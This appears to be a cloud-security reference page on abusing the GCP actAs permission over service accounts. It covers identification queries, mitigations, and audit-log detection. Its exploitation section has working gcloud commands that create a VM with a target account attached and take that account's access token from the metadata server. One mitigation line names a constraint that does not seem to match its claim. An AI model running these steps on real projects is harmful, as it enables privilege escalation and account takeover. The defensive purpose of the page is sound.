Summary
| Forestall ACL Alias | GCP_ACT_AS_SA |
| GCP Alias | Persistence & Impersonation |
| Affected Object Types | Service Accounts |
| Exploitation Certainty | Likely |
| Granting Roles | roles/owner, roles/editor, roles/iam.serviceAccountUser |
Description
GCP_ACT_AS_SA indicates that an identity holds iam.serviceAccounts.actAs permission on a GCP Service Account. This permission allows the identity to attach the target SA to GCP infrastructure — specifically when creating or updating VMs, Cloud Run services, Cloud Functions, App Engine apps, or GKE node pools.
Unlike GCP_IMPERSONATE_SA (which generates tokens directly), GCP_ACT_AS_SA requires a compute vehicle: the attacker must spin up or modify an infrastructure resource to attach the target SA, then extract its access token from the GCP metadata server.
Key abuse scenarios:
- Create a VM with the target SA attached → SSH into VM → extract token from metadata server → use as target SA.
- Deploy a Cloud Run service using the target SA → invoke the service → exfiltrate the SA’s token from within.
- Modify an existing VM’s SA attachment to swap in a higher-privilege SA.
Identification
gcloud CLI
# Find who has iam.serviceAccountUser role (grants actAs)PROJECT_ID="my-project"gcloud projects get-iam-policy $PROJECT_ID --format=json | \ jq '.bindings[] | select(.role | test("owner|editor|serviceAccountUser")) | {role: .role, members: .members}'
# Check SA-level actAs grantsfor SA in $(gcloud iam service-accounts list --project=$PROJECT_ID --format="value(email)"); do POLICY=$(gcloud iam service-accounts get-iam-policy $SA --format=json 2>/dev/null) BINDINGS=$(echo $POLICY | jq -r '.bindings // [] | .[] | select(.role == "roles/iam.serviceAccountUser")' 2>/dev/null) if [ ! -z "$BINDINGS" ]; then echo "=== $SA ===" && echo $BINDINGS fidone# Check which VMs are running with high-privilege SAsgcloud compute instances list --project=$PROJECT_ID \ --format="table(name, zone, serviceAccounts[].email)"GCP Console
- Open GCP Console → IAM & Admin → Service Accounts.
- Click a service account → Principals with access tab.
- Look for principals with
Service Account Userrole.
Exploitation
This path requires both GCP_ACT_AS_SA and a compute creation capability. → see GCP_CREATE_COMPUTE.
gcloud CLI
# Create a VM attached to the target SA.PROJECT_ID="target-project"ZONE="us-central1-a"
gcloud compute instances create attacker-vm \ --project=$PROJECT_ID \ --zone=$ZONE \ --machine-type=e2-micro \ --service-account=$TARGET_SA \ --scopes=cloud-platform \ --metadata=startup-script='#!/bin/bashTOKEN=$(curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token")echo "$TOKEN" > /tmp/token.json'
# SSH into the VMgcloud compute ssh attacker-vm --zone=$ZONE --project=$PROJECT_ID
# From inside the VM:TOKEN=$(curl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" | \ python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
# Use the token as the target SAcurl -H "Authorization: Bearer $TOKEN" \ "https://cloudresourcemanager.googleapis.com/v1/projects"Mitigation
- Restrict
roles/iam.serviceAccountUser— assign only when necessary and scope to the minimum required SA, not project-wide. - Disable default SA binding on new VMs using org policy:
constraints/compute.disableDefaultServiceAccountCreation - Block project-default SA at compute creation with
constraints/compute.requireOsLogin. - Audit VM service account assignments — verify all VMs use purpose-specific minimal SAs.
- Enable OS Login to restrict SSH access and tie it to IAM identity.
Detection
| Log Type | Method | Key Fields |
|---|---|---|
| Admin Activity | *compute.instances.insert |
resource.type=gce_instance, SA field in request |
| Admin Activity | *compute.instances.setServiceAccount |
SA changed on existing VM |
gcloud logging read \ 'protoPayload.methodName=~"compute.instances.insert" AND protoPayload.request.serviceAccounts.email!=""' \ --project=$PROJECT_ID \ --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.request.name, protoPayload.request.serviceAccounts)"Alert on:
- VM creation or SA modification attaching a privileged SA to a VM by an unexpected principal.
- Metadata server token requests from VMs created within the last 24 hours.